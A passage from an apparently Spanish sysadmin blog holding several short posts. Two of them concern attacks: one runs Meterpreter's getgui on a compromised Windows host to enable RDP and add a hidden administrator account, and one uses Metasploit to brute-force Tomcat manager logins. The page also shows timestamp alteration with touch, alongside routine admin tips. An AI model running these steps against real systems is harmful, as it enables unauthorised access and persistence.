  -p opt   The Password of the user to add.
  -u opt   The Username of the user to add.
Es necesario pasarle los parámetros adecuados, es decir, el nombre y la contraseña del nuevo usuario que vamos a crear con acceso remoto.
meterpreter> run getgui -u shell -p p0wned
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
[*] Carlos Perez carlos_perez@darkoperator.com 
[*] Enabling Remote Desktop 
[*]  RDP is disabled; enabling it ... 
[*] Setting Terminal Services service startup mode 
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary 
[*] Setting user account for logon 
[*]  Adding User: shell with Password: p0wned 
[*]  Adding User: shell to local group Remote Desktop Users 
[*]  Adding User: shell to local group Administrators 
[*] You can now login with the created user 
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
En caso de que hayamos empleado algún otro método para saber la contraseña de los usuarios ya creados, también podemos emplear este exploit para habilitar el acceso de escritorio remoto y así poder acceder al equipo.
meterpreter> run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  The Terminal Services service is not set to auto, changing it
[*]  Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc ~/clean_up.rc
Leer más

Cambio fecha de ficheros

Prácticamente todos los sistemas de ficheros modernos almacenan por seguridad la fecha de creación o de última modificación de los ficheros y se suele pensar que alterar ésta es complicado. La fecha de modificación, obviamente no, se abre el fichero y al volver a guardarlo ya queda modificada, pero la fecha de creación ya no es tan simple.
En este post, y sirviéndonos del comando touch veremos que alterar una fecha no es nada complicado, sino más bien todo lo contrario.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar 14 13:14 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Empleamos el comando touch para modificar la fecha.
shell> touch -t 1203021150 listado.csv
El comando ejecutado es muy sencilla, simplemente le pasamos la opción "-t fecha" con la fecha que nos interesaba de creación de fichero. El formato de la fecha es año (12), mes (03), día (02), hora (11) y minutos (50). Ahora volvemos a comprobar la fecha de los ficheros y vemos que listado.csv ha cambiado correctamente.
shell> ls -l
total 560
-rw-r--r-- 1 javier javier 553136 Mar 14 13:14 debian-6.0.4-i386-CD-1.iso
-rw-r--r-- 1 javier javier   6943 Mar  2 11:50 listado.csv
-rw-r--r-- 1 javier javier    317 Mar 14 13:14 web.txt
Leer más

Windows 7, cliente NFS


Por fin, después de mucho tiempo descubro, por casualidad, que la última versión del sistema operativo de Microsoft (Windows 7) tiene la posibilidad de tener un cliente nativo de NFS para acceder a recursos en red. Quizás por fin hayan descubierto que NFS es mejor protocolo para compartir ficheros, quizás sepan que en las redes hay servidores con NFS, etc. Sea lo que sea, lo importante es que ya se puede montar una unidad de red a través de NFS.

Para comer usarla, primero tenemos que instalar los componentes de Windows necesarios.

Tras elegir el cliente NFS y aceptar se instalará el software que falte para tener dicho componente activo. Ahora, una vez lo tengamos tenemos que abrir una consola (cmd) como usuario administrador y ejecutar en ella el resto de comandos. Lo único que necesario será habilitar el servicio NFS.

C:\> nfsadmin client start

The service was started successfully.
Y tras ello, montar la unidad de red, tal como sigue,
C:\> mount -o anon,nolock,r,casesensitive \\192.168.0.10\home *
Z: is now successfully connected to \\192.168.0.10\home

The command completed successfully.
Para desmontarla, al más puro estilo GNU/Linux, umount.
C:\> umount.exe Z:

Disconnecting           Z:      \\192.168.0.10\home
The command completed successfully.
Leer más

Extraer contenido de paquete .deb

En algunas ocasiones puede ser necesario saber el contenido de un paquete *.deb (debian/ubuntu), pero no así tener la necesidad de instalarlo. Para poder descomprimir el contenido de un *.deb, existe la utilidad dpkg, que tiene una opción para tal efecto, --extract. Al usarla, dejará el contenido del paquete en una carpeta contenedora con los ficheros y carpetas que éste traiga internamente. Se podría considerar que el --extract es similar a instalar el paquete en un directorio local.
shell> ls
dropbox  nautilus-dropbox_0.7.0_i386.deb
shell> dpkg -x nautilus-dropbox_0.7.0_i386.deb dropbox
shell> cd dropbox/
shell> ls
usr
Leer más

Loguear comandos en GNU/Linux

Hace unos días descubrí por casualidad un interesante proyecto, snoopy, que no es más que un pequeño wrapper que se encarga de 'loguear' todos aquellos comandos que un usuario ejecuta en la shell en los ficheros de log. Gracias a ello, podemos saber en todo momento qué fue lo que se ejecutó y sobre todo, quién lo ejecutó. snoopy es por lo tanto un comando muy interesante, ya que de forma muy simple, permite depurar responsabilidades.
Para instalar snoopy puedes hacerlo desde repositorios o desde código fuente, descargable desde aquí.
shell> apt-get install snoopy
o bien,
shell> wget snoopy
shell> tar zxvf snoopy-1.8.0.tar.gz
shelL> cd snoopy-1.8.0
shell> ./configure
shell> make
shell> make install
shell> echo "/usr/local/lib/snoopy.so" >> /etc/ld.so.preload
Tras tenerlo instalado, lo único que será necesario será reiniciar la sesión de usuario y ya cargará la nueva directiva de logueo. Tras ello, en /var/log/auth.log quedará un registro de todo aquello que se está ejecutando en el sistema y quién lo ha ejecutado.
shell> tail -f /var/log/auth.log
Sep  6 13:03:24 server_5 snoopy[7890]: [uid:0 sid:7707 tty:/dev/pts/2 cwd:/root filename:/usr/bin/tail]: tail -f /var/log/auth.log
Sep  6 13:03:29 server_5 snoopy[7904]: [uid:1002 sid:7830 tty:/dev/pts/0 cwd:/home/javier filename:/bin/su]: su
Sep  6 13:04:36 server_5 snoopy[7970]: [uid:1002 sid:7918 tty:/dev/pts/4 cwd:/home/javier filename:/bin/ls]: ls --color=auto -l
Como se puede observar, queda la sesión (tty) de la persona que lo ha ejecutado, no el nombre, así que habrá que emplear el comando who para saber quién la tenía. Para ello,
shell> who /var/log/wtmp
A partir de ahora siempre podréis saber quién ejecutó qué comando.
Leer más

Windows: variables de sistema

Windows, al igual que GNU/Linux tiene también una serie de variables de entorno que permiten trabajar más fácilmente. Para saber cuales son, desde la consola (cmd) podemos averiguarlo de forma simple,
cmd> set
  ALLUSERSPROFILE=C:\Documents and Settings\All Users
  APPDATA=C:\Documents and Settings\Administrador\Datos de programa
  CLIENTNAME=Console
  CommonProgramFiles=C:\Archivos de programa\Archivos comunes
  COMPUTERNAME=WIN-VIRT
  ComSpec=C:\WINDOWS\system32\cmd.exe
  FP_NO_HOST_CHECK=NO
  HOMEDRIVE=C:
  HOMEPATH=\Documents and Settings\Administrador
  LOGONSERVER=\\WIN-VIRT
  NUMBER_OF_PROCESSORS=1
  OS=Windows_NT
  Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
  PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
  PROCESSOR_ARCHITECTURE=x86
  PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 7, GenuineIntel
  PROCESSOR_LEVEL=6
  PROCESSOR_REVISION=0f07
  ProgramFiles=C:\Archivos de programa
  PROMPT=$P$G
  SYS=C:\
  SystemDrive=C:
  SystemRoot=C:\WINDOWS
  TEMP=C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp
  TMP=C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp
  USERDOMAIN=WIN-VIRT
  USERNAME=Administrador
  USERPROFILE=C:\Documents and Settings\Administrador
  windir=C:\WINDOWS
Y también con el mismo comando podemos establecer nuevas variables para el sistema en caso de interesarnos. El formato:
cmd> set VAR=CADENA
Por ejemplo,
cmd> set P=ALL\ DATA
Leer más

Error de GPG: http://extras.ubuntu.com

Si obtenemos este error, es lógicamente por que nos falta la clave pública de dicho repositorio.
shell> apt-get update
....
Descargados 850 kB en 1seg. (508 kB/s)
Leyendo lista de paquetes... Hecho
W: Error de GPG: http://extras.ubuntu.com precise Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY 16126D3A3E5C1192
La solución, importarla.
shell> gpg --ignore-time-conflict \
> --no-options \
> --no-default-keyring \
> --secret-keyring /tmp/tmp.s5o4mutMRY \
> --trustdb-name /etc/apt/trustdb.gpg \
> --keyring /etc/apt/trusted.gpg \
> --primary-keyring /etc/apt/trusted.gpg \
> --keyserver hkp://keyserver.ubuntu.com:80/ \
> --recv 16126D3A3E5C1192

Leer más

puppet manifest for ntp

Clase ntp:
class ntp {
   package { "ntp":
      ensure     => installed;
   }

   group { "ntp":
      ensure     => present;
   }

   define ntpconf ($ntpserver = [ "0.debian.pool.ntp.org" ]) {
      file { "/etc/ntp.conf":
         owner   => root,
         group   => root,
         mode    => 644,
         content => template("ntp.conf.erb"),
         require => Package[ "ntp" ],
         notify  => Service[ "ntp" ];
      }
   }

   service { "ntp":
      name       => $operatingsystem ?{
         debian  => "ntp",
         ubuntu  => "ntp",
         default => "ntpd",
      },
      ensure     => running,
      enable     => true,
      provider   => debian,
      subscribe  => File[ "/etc/ntp.conf" ];
   }
}
Y la forma de usarlo,
include ntp
ntp::ntpconf { "ntp":
   ntpserver => [ "0.debian.pool.ntp.org", "127.0.0.1" ]
}
Leer más

metasploit, credenciales tomcat

metasploit tiene una gran cantidad de módulos que permiten comprobar la seguridad y fortaleza de un gran número de servicios y aplicaciones. En este caso vamos a ver cómo poder comprobar la fortaleza de tomcat y para ello emplearemos el módulo tomcat_mgr_login. Recordar que sólo nos interesa saber si hay una brecha de seguridad en combinaciones de usuario + contraseña, no aprovecharla, así que nos ponemos a trabajar.
Aquí hay que decir que es importante tener unos ficheros de usuarios y contraseñas buenos, ya que los que trae por defecto, no suelen funcionar.
msf> use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login)> info

       Name: Tomcat Application Manager Login Utility
     Module: auxiliary/scanner/http/tomcat_mgr_login
    Version: 14871
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  MC <mc@metasploit.com>
  Matteo Cantoni <goony@nothink.org>
  jduck <jduck@metasploit.com>

Basic options:
Name              Current Setting
----              ---------------
BLANK_PASSWORDS   true
BRUTEFORCE_SPEED  5
PASSWORD
PASS_FILE         data/wordlists/tomcat_mgr_default_pass.txt
Proxies
RHOSTS
RPORT             8080
STOP_ON_SUCCESS   false
THREADS           1
URI               /manager/html
USERNAME
USERPASS_FILE     data/wordlists/tomcat_mgr_default_userpass.txt
USER_AS_PASS      true
USER_FILE         data/wordlists/tomcat_mgr_default_users.txt
VERBOSE           true
VHOST

Description:
  This module simply attempts to login to a Tomcat Application Manager 
  instance using a specific user/pass.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3843
  http://www.osvdb.org/60317
  http://www.securityfocus.com/bid/37086
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4189
  http://www.osvdb.org/60670
  http://www.zerodayinitiative.com/advisories/ZDI-09-085/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-4188
  http://www.securityfocus.com/bid/38084
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0557
  http://www-01.ibm.com/support/docview.wss?uid=swg21419179
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4094
  http://www.zerodayinitiative.com/advisories/ZDI-10-214/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3548
  http://www.osvdb.org/60176
  http://www.securityfocus.com/bid/36954
  http://tomcat.apache.org/
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0502
Ahora lo configuramos correctamente,
msf auxiliary(tomcat_mgr_login)> set STOP_ON_SUCCESS false
msf auxiliary(tomcat_mgr_login)> set RHOSTS 192.168.1.21
msf auxiliary(tomcat_mgr_login)> set RPORT 80
msf auxiliary(tomcat_mgr_login)> USER_AS_PASS true
msf auxiliary(tomcat_mgr_login)> USERPASS_FILE /tmp/user-pass.txt
Una vez que ya está configurado, simplemente es cuestión de dejarlo ejecutando. Puesto que nos interesa una auditoría completa del tomcat, aunque encuentre un usuario con credenciales válidas no nos interesa que pare. La ejecución puede llevar un tiempo, en función de vuestras combinaciones.
msf auxiliary(tomcat_mgr_login)> run

[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'admin' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'manager' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'manager'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'role1' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'role1'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'root' with password:''
[-] 192.168.1.21:80 TOMCAT_MGR - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'
[*] 192.168.1.21:80 TOMCAT_MGR - Trying username:'tomcat' with password:''
...
Una vez finalizadas todas las iteraciones tendremos un listado de todos los usuarios válidos para hacer login, en caso de que los hubiese. Lo idea, que no los haya, así que si os sale alguno, corregirlo rápidamente.
Leer más

xen, instalación de máquina windows desde iso

Aunque ya hemos hablado en este blog alguna vez de xen, siempre nos referimos a XenServer, la versión de pago de xen. En este caso vamos a hablar sobre cómo crear una nueva máquina (en este caso Windows XP, pero extrapolable a cualquier otro sistema operativo) en la versión gratuita de xen. En nuestro caso emplearemos la versión de Debian y las xen-utils-common.
Si estamos empleando las xen-tools, la instalación de máquinas debian/ubuntu es muy sencilla, pero con máquinas que precisen de intervención para su instalación (como es el caso de Windows) la cosa se complica. Así que vamos a ver cómo crear el fichero de configuración para que emplee una iso para arrancar y cómo activar VNC para poder interactuar con la máquina durante la instalación.
Antes de comenzar tenemos que preparar el disco sobre el que vamos a realizar la instalación. Como vamos a emplear LVM, creamos un nuevo disco,
shell> lvcreate -L 25G -n windows-disk vg0
Ahora creamos el fichero de configuración,
builder      = 'hvm'
memory       = '1024'
device_model = '/usr/lib/xen-4.0/bin/qemu-dm'

disk         = [ 'phy:/dev/vg0/windows-disk,ioemu:hda,w',
                 'file:/home/javier/win.iso,hdc:cdrom,r'
               ]

name = 'windows'

vif = [ 'bridge=eth0' ]

boot='d'
vnc = 1
vncviewer = 1
vnclisten="192.168.1.2"
sdl = 0
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'
Las partes importantes son las destacadas con negrita, que se refieren al paso de la imagen iso como dispositivo cdrom de entrada al Windows. También se le indica que arranque desde el dispositivo d (boot='d') y que permita una conexión vnc a la IP del servidor xen. Tras tener el fichero de configuración listo, arrancamos la máquina.
shell> xm create windows.cfg
Ahora ya se podrá acceder vía vnc a la pantalla de la máquina, para proceder con la instalación. Cuando ésta termine, será aconsejable deshabilitar la conexión vnc, el cdrom virtual (si no se va a emplear) e indicar que arranque desde el disco C (disco duro 'local'). Quedaría entonces tal que así,
builder      = 'hvm'
memory       = '1024'
device_model = '/usr/lib/xen-4.0/bin/qemu-dm'

disk         = [ 'phy:/dev/vg0/windows-disk,ioemu:hda,w' ]

name = 'windows'

vif = [ 'bridge=eth0' ]

boot='c'
sdl = 0
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'
Leer más

Comandos interesantes, finger

finger es un simple comando que ofrece información acerca de un usuario. Ofrece información a un usuario acerca de si mismo o de otros usuarios (de equipos locales o remotos). Desde el nombre completo del usuario, el nombre de login, así como las últimas veces que se ha conectado y otros tipos de información.
finger está disponible para ejecutarse en local con el comando finger, o remotamente con un servidor (fingerd) que recauda información de los usuarios por los equipos de la red, para tener reportes locales completos.
shell> apt-get install finger
Una vez instalado el comando, se puede ejecutar en cualquier equipo pasándole como argumento el nombre de usuario, tal como sigue.
shell> finger javier
Login: javier            Name: Javier Terceiro
Directory: /home/javier              Shell: /bin/bash
On since Mon Sep  3 08:38 (CEST) on tty7 from :0
    3 days 3 hours idle
     (messages off)
On since Thu Sep  6 09:55 (CEST) on pts/0 from :0.0
   8 seconds idle
On since Thu Sep  6 10:03 (CEST) on pts/1 from :0.0
On since Thu Sep  6 11:12 (CEST) on pts/2 from :0.0
   1 hour 12 minutes idle
No mail.
No Plan.
La instalación de un pequeño servidor fingerd lo dejaremos para otra entrada.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios